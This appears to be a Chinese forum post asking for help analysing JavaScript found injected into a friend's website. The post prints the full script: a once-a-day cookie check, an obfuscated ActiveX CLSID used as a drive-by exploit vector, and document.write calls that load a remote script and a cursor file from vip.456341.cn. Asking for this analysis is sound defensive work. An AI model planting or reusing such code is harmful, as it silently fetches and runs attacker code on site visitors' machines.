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朋友的站中了下面一段JS代码,请大家帮忙分析一下

朋友的站中了下面一段JS代码,请大家帮忙分析一下

window.status="";
var cookieString = document.cookie;
var start = cookieString.indexOf("fuckjp=");
if (start != -1)
{}
else
{
var expires = new Date();
expires.setTime(expires.getTime() +  24 * 1 * 60 * 60 * 1000);
document.cookie = "fuckjp=funny;expires=" + expires.toGMTString();
try{
var downf = document.createElement("object");
downf.setAttribute("classid", "cls"+"id:BD9"+"6C5"+"56-6"+"5A3-11D"+"0-98"+"3A-00C"+"04F"+"C2"+"9E36");
str="Microsoft.XMLHTTP";
var ab=ab;
var O = downf.CreateObject(str,"");
document.write('<SCRI' + 'PT LANGUAGE="javascript1.2"');
document.write(' SRC="http://vip.456341.cn/ado.js"></SCR' + 'IPT>');  
}
catch(e)
{
document.write("<DIV style=\"CURSOR: url('http://vip.456341.cn/ani.c')\"></DIV>");
};
}

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